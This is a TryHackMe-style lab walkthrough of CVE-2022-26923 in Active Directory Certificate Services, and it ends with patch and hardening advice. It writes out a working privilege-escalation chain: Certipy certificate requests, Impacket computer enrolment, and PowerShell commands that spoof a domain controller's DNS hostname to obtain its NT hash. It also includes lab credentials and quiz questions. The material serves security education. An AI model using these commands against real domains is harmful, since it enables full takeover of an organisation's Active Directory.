To access material, start machines and answer questions login.
This room explores CVE-2022-26923, a vulnerability in Microsoft's Active Directory Certificate Service (AD CS) that allows any AD user to escalate their privileges to Domain Admin in a single hop!
Research done and released as a whitepaper by SpecterOps showed that it was possible to exploit misconfigured certificate templates for privilege escalation and lateral movement. Based on the severity of the misconfiguration, it could allow any low-privileged user on the AD domain to escalate their privilege to that of an Enterprise Domain Admin with just a few clicks. If you are interested in learning more about these Certificate Template exploits, see this room.
Further research was performed by Oliver Lyak, who discovered an additional vulnerability (CVE-2022-26923) in the Certificate Service. A patch was released for the vulnerability by Microsoft on the 10th of May. You can read more about the research here. This room provides a walkthrough of the exploitation of the vulnerability, as detailed in the research.
Start the VM to begin the room. You will be using SSH to connect later in the room, so make sure to either use the THM VPN or the AttackBox. The following low privileged credentials are provided below. Please allow around 5 minutes for the machine to fully boot.
Username: thm
Password: Password1@
Domain: lunar.eruca.com
Windows Active Directory (AD) is not just for identity and access management but provides a significant amount of services to help you run and manage your organisation. Many of these services are less commonly known or used, meaning they are often overlooked when security hardening is performed. One of these services is the Active Directory Certificate Services (AD CS).
When talking about certificates, we usually only think about the most common ones, such as those used to upgrade website traffic to HTTPS. But these are generally only used for applications that the organisation exposes to the internet. What about all those applications running on the internal network? Do we now have to give them internet access to allow them to request a certificate from a trusted Certificate Authority (CA)? Well, not really. Cue AD CS.
AD CS is Microsoft's Public Key Infrastructure (PKI) implementation. Since AD provides a level of trust in an organisation, it can be used as a CA to prove and delegate trust. AD CS is used for several things, such as encrypting file systems, creating and verifying digital signatures, and even user authentication, making it a promising avenue for attackers. What makes it an even more dangerous attack vector, is that certificates can survive credential rotation, meaning even if a compromised account's password is reset, that will do nothing to invalidate the maliciously generated certificate, providing persistent credential theft for up to 10 years! The diagram below shows what the flow for certificate requests and generation looks like (taken from SpecterOps whitepaper):
Since AD CS is such a privileged function, it normally runs on selected domain controllers. Meaning normal users can't really interact with the service directly. On the other side, organisations tend to be too large to have an administrator create and distribute each certificate manually. This is where certificate templates come in. Administrators of AD CS can create several templates that can allow any user with the relevant permissions to request a certificate themselves. These templates have parameters that say which user can request the certificate and what is required. What SpecterOps has found, was that specific combinations of these parameters can be incredibly toxic and be abused for privilege escalation and persistent access!
Before we dive deeper into certificate abuse, some terminology:
- PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
- AD CS - Active Directory Certificate Services is Microsoft's PKI implementation which usually runs on domain controllers
- CA - Certificate Authority is a PKI that issues certificates
- Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
- CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
- EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used
What does the user create to ask the CA for a certificate?
What is the name of Microsoft's PKI implementation?
Client Authentication
As discussed in the overview of Certificate Templates, they are convenient to allow users and systems to enrol for certificates. Certificates have many use cases in the network. For CVE-2022-26923 and the template misconfigurations discovered by SpectorOps, the primary focus is on the Client Authentication use case.
Client Authentication allows the owner of the certificate to use it to verify their own identity in AD for authentication purposes. For example, a client certificate is used to authenticate against a web application. The authentication process occurs through Kerberos. If we have a valid certificate that has the Client Authentication EKU, we can interface with AD CS and the Key Distribution Centre to request a Kerberos TGT that can then be used for further authentication.
As an attacker, we can leverage this to generate a TGT to impersonate another user or system, should we have a valid certificate for them. In essence, we want to be able to modify the Subject Alternative Name (SAN) attribute of the certificate request to point to someone or something else, that has more permissions to perform privilege escalation.
Default Certificate Templates
By default, when AD CS is installed in an environment, two certificate templates are made available for requests that support Client Authentication:
- User Certificate Template - This certificate template can be requested by any user that belongs to the Domain Users group.
- Machine Certificate Template - This certificate template can be requested by any host that belongs to the Domain Computers group.
The User Template is not vulnerable by default. When we request a certificate based on the User template, the User Principal Name (UPNs) of the user account will be embedded in the SAN that can be used for identification. Since UPNs must be unique, and we usually do not have the ability to modify our UPN, we cannot leverage this template. Furthermore, since we don't have the ability to alter the SAN value in the certificate signing request, we cannot impersonate another user by specifying their UPN.
However, computer accounts do not have a UPN. Instead of using a UPN for authentication, the Machine template uses the DNS Name of the machine for identification and authentication. When a certificate is requested for a machine through the Machine template, AD CS embeds the machine's DNS Name into the SAN, which is then used for authentication.
Default Domain User Privileges
By default, any user who is a member of the Authenticated Users group (literally all AD accounts) can enrol up to 10 new machines on the domain. This is often used in organisations to allow users to bring their own device (BYOD) and enrol it for use on the domain. This in itself is not really a vulnerability but has led to some interesting privilege escalation vectors in the path, exactly what we will be exploiting for this CVE.
When we enrol a new host in AD, we are assigned as the owner of that host. This provides us with certain permissions over the AD Object associated with that host. Two permissions in particular cause an issue here:
- Validate write to DNS hostname - This permission allows us to update the DNS hostname of our AD Object associated with the host.
- Validate write to Service Principal Name (SPN) - This permission allows us to update the SPN of our AD Object associated with the host.
SPNs are used by Kerberos authentication to associate a service instance with a service logon account. By default, the Computer AD Object receives SPNs associated with their name to allow for Kerberos authentication, which the host requires to perform specific requests against AD. SPNs must be unique, meaning two AD Objects are not allowed to have the same SPN.
You would think it would be as simple as changing the DNS hostname to another hostname, maybe the hostname of a Domain Controller for privilege escalation? However, if you change the DNS hostname, Microsoft automatically updates the SPN attribute. Since those must be unique, we will get an error if we try to impersonate another host through the DNS hostname attribute. But since we have the ability also to change the SPN, we can bypass this restriction.
The pieces of the puzzle should now start to come together. If we only had one of the two permissions, we would not have a vulnerability. However, the combination of having those two permissions allows us to perform privilege escalation.
Putting it all Together
Using these configurations, the default AD CS Machine certificate template, the default ability to enrol a new machine, and the default permissions assigned on the created Computer AD Object, we have a privilege escalation vector on our hands. What makes it worse is that this privilege escalation vector requires minimal effort, meaning the attacker's skill level to exploit this issue is quite low. The basic steps are the following:
- Compromise the credentials of a low-privileged AD user.
- Use those credentials to enrol a new host on the domain.
- Alter the DNS hostname attribute of the Computer AD Object to that of a privileged host, such as a Domain Controller.
- Remove the SPN attributed to bypass the unique SPN conflict issue.
- Request a Machine certificate using the default template.
- Perform Kerberos authentication with the received template, now as the privileged machine account instead of our fake machine account.
In the next task, we will practically perform these steps!
Which EKU allows us to use the generated certificate for Kerberos authentication?
What AD group can request a certificate using the Machine Certificate Template?
What value in the Machine Certificate is used for identification and authentication?
Now that we have covered the theory. Let's see it in action.
Configuring DNS
First, we need to configure some DNS values. Modify your /etc/hosts
file and add the following entry:
MACHINE_IP lundc.lunar.eruca.com lundc lunar-LUNDC-CA lunar.eruca.com
Testing Certificate Generation
Similar to the blog post, we will use Certipy for our exploitation, which has been installed for you on the AttackBox. Certipy is an offensive tool for enumeration and exploitation of AD CS vulnerabilities and misconfigurations. It integrates with Impacket for some of the exploits, so if you are installing this on your own machine, make sure to update Impacket as well. We have created a virtual python environment with all of these tools. If you are using the AttackBox, start by activating the virtual environment:
[thm@thm]$ source /root/Rooms/CVE2022-26923/certipy/bin/activate
Let's first get our feet wet with generating a certificate for our low-privileged AD user (Username=thm Password=Password1@) using the User certificate template:
(certipy) [thm@thm]$ certipy req 'lunar.eruca.com/thm:Password1@@lundc.lunar.eruca.com' -ca LUNAR-LUNDC-CA -template User
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 20
[*] Got certificate with UPN 'thm@lunar.eruca.com'
[*] Saved certificate and private key to 'thm.pfx'
Note: If you get a timeout error for this command or any of the rest of the Certipy commands, just wait two seconds and then run it again. Unfortunately, with a UDP VPN connection, it is not always sufficiently stable for these requests to pass through.
We can verify that this certificate is valid and can be used for Kerberos authentication through Certipy as well:
(certipy) [thm@thm]$ certipy auth -pfx thm.pfx
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: thm@lunar.eruca.com
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'thm.ccache'
[*] Trying to retrieve NT hash for 'thm'
[*] Got NT hash for 'thm@lunar.eruca.com': 43460d636f269c709b20049cee36ae7a
Certipy performs authentication with the certificate and uses Impacket to recover the NTLM hash associated with the UPN specified in the certificate. We could, of course, use something like Rubeus to request a TGT and then import that with Mimikatz for attacks, but this at least proves that the certificate is valid and can be used for Kerberos authentication.
Adding a Computer to the Domain
We need to add a new computer to the domain to generate a Machine certificate. Luckily, we don't have to add a physical computer to the network. We can use Impacket's addcomputer.py script to simply make it look like we are adding a new computer:
(certipy) [thm@thm]$ addcomputer.py 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'THMPC' -computer-pass 'Password1@'
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation
[*] Successfully added machine account THMPC$ with password Password1@.
Parameters explained:
- lunar.eruca.com/thm:Password1@ - We need to provide valid AD credentials in order to add a new computer.
- method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
- computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
- computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
First, let's generate a certificate for the new computer we created. To use the machine account of said computer, you need to add a "$" at the end of the name:
(certipy) [thm@thm]$ certipy req 'lunar.eruca.com/THMPC$:Password1@@lundc.lunar.eruca.com' -ca LUNAR-LUNDC-CA -template Machine
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 20
[*] Got certificate with DNS Host Name 'THMPC.lunar.eruca.com'
[*] Saved certificate and private key to 'thmpc.pfx'
Again we can verify that the certificate is valid by using Certipy:
(certipy) [thm@thm]$ certipy auth -pfx thmpc.pfx
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'thmpc.ccache'
[*] Trying to retrieve NT hash for 'thmpc$'
[*] Got NT hash for '[email protected]': 43460d636f269c709b20049cee36ae7a
We can verify the NTLM hash recovered against the password we set for the machine account using an NTLM Generator.
Updating the DNS Hostname and SPN Attributes
In order to update the AD object's attributes, we will use the AD-RSAT PowerShell cmdlets. You can use the following command on the AttackBox to SSH into the machine:
[thm@thm]$ ssh lunar.eruca.com\\thm@lundc
Once you're in, start Powershell:
lunar\thm@LUNDC C:\Users\thm>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\thm>
Let's first just get the current attributes from our Computer AD Object using the Get-ADComputer cmdlet:
PS C:\Users\thm>Get-ADComputer THMPC -properties dnshostname,serviceprincipalname
DistinguishedName : CN=THMPC,CN=Computers,DC=lunar,DC=eruca,DC=com
DNSHostName : THMPC.lunar.eruca.com
Enabled : True
Name : THMPC2ObjectClass : computer
ObjectGUID : f40260ee-2f74-4fa1-aa4c-f83bcf589c15
SamAccountName : THMPC$
serviceprincipalname : {RestrictedKrbHost/THMPC.lunar.eruca.com, RestrictedKrbHost/THMPC, HOST/THMPC.lunar.eruca.com, HOST/THMPC}
SID : S-1-5-21-3330634377-1326264276-632209373-11218
UserPrincipalName :
We can see that both the DNS hostname and the SPN attributes are set to match our computer's name. Let's try to update the DNS hostname attribute to that of the DC using the Set-ADComputer cmdlet:
PS C:\Users\thm>Set-ADComputer THMPC -DnsHostName LUNDC.lunar.eruca.com
Set-ADComputer : The operation failed because SPN value provided for addition/modification is not unique forest-wide
At line:1 char:1
+ Set-ADComputer THMPC -DnsHostName LUNDC.lunar.eruca.com
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (THMPC:ADComputer) [Set-ADComputer], ADException
+ FullyQualifiedErrorId : ActiveDirectoryServer:8647,Microsoft.ActiveDirectory.Management.Commands.SetADComputer
As we can see from the output, Microsoft automatically changes the SPN attribute when we set the DNS hostname. Since an SPN already exists for LUNDC, the command fails. To counter this, let's first remove our current SPN attribute:
PS C:\Users\thm>Set-ADComputer THMPC -ServicePrincipalName @{}
PS C:\Users\thm>
Now that we have flushed our Computer AD Object's SPN, let's again try to set the DNS hostname attribute to that of the DC:
PS C:\Users\thm>Set-ADComputer THMPC -DnsHostName LUNDC.lunar.eruca.com
PS C:\Users\thm>
That is positive. No error this time. Let's verify that the changes were made:
PS C:\Users\thm>Get-ADComputer THMPC -properties dnshostname,serviceprincipalname
DistinguishedName : CN=THMPC,CN=Computers,DC=lunar,DC=eruca,DC=com
DNSHostName : LUNDC.lunar.eruca.com
Enabled : True
Name : THMPC
ObjectClass : computer
ObjectGUID : f40260ee-2f74-4fa1-aa4c-f83bcf589c15
SamAccountName : THMPC$
SID : S-1-5-21-3330634377-1326264276-632209373-11218
UserPrincipalName :
Perfect! By simply removing our SPNs, Microsoft no longer tries to change those when we change our DNS hostname, meaning we can change it to a legitimate host's DNS hostname.
Forging a Malicious Certificate
Time to regenerate some certificates! Let's run that same command of Certipy again to request a new certificate for our computer:
(certipy) [thm@thm]$ certipy req 'lunar.eruca.com/THMPC$:Password1@@lundc.lunar.eruca.com' -ca LUNAR-LUNDC-CA -template Machine
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 21
[*] Got certificate with DNS Host Name 'LUNDC.lunar.eruca.com'
[*] Saved certificate and private key to 'lundc.pfx'
This time we noticed something different. Even though we requested a certificate for THMPC, we got a certificate for LUNDC. Let's verify that this certificate is working and will return the NTLM hash of the LUNDC machine account instead:
(certipy) [thm@thm]$ certipy auth -pfx lundc.pfx
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'lundc.ccache'
[*] Trying to retrieve NT hash for 'lundc$'
[*] Got NT hash for '[email protected]': <Redacted>
We officially have the NTLM hash for the machine account of LUNDC! Since LUNDC is a domain controller and we have administrative access to the DC, we have fully compromised the domain in one hop! If you want to take this further, you can follow the steps in Task 5 of the previous AD CS room to request a TGT using the certificate and alter the password on one of the DA's just to prove that you have indeed fully compromised the domain.
What is the syntax of the command to use Impacket's addcomputer.py to add a new computer to the lunar.eruca.com domain using the AD credentials of test:pass, with the LDAPS method, with the hostname of thmtest, and the password of computer1?
To defend against CVE-2022-26923, the best course of action is to apply the patch released by Microsoft:
- A new Object ID (OID) was introduced in new certificates to further fingerprint the user. This is done by embedding the user's objectSid within the new szOID_NTDS_CA_SECURITY_EXT OID.
- The "Validated write to DNS hostname" permission now only allows you to set the DNSHostname to an attribute matching the SAM Account Name or the computer account, meaning it can't be used to spoof the account name of other hosts.
Together with this, there are a few other security measures that you can take:
- Make sure that your certificate templates are restricted. Only allow Machine and User automatic enrollment if it is required. Otherwise, through security configuration, the permissions for these templates can be reduced.
- If there is no business case for allowing users to enrol hosts onto AD, change the MS-DS-Machine-Account-Quota attribute to 0 on all accounts that should not have the ability to enrol new hosts. This will not resolve the issue, however, since an attacker only has to gain administrative access over a single domain-joined host to be able to perform a certificate request.
That's a wrap!
In this room, we showed a possible method to exploit CVE-2022-26923. As mentioned previously, this is one of the new CVEs that came to light in Microsoft's AD Certificate Service. There are other issues, such as toxic parameter combinations that are not even classified as CVEs that can be used for privilege escalation. Have a read through the SpecterOps whitepaper if you are interested in learning more.
If you're interested in other rooms on recent exploits, they can be found in the Recent Threats Module.
Ready to learn Cyber Security? Create your free account today!
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in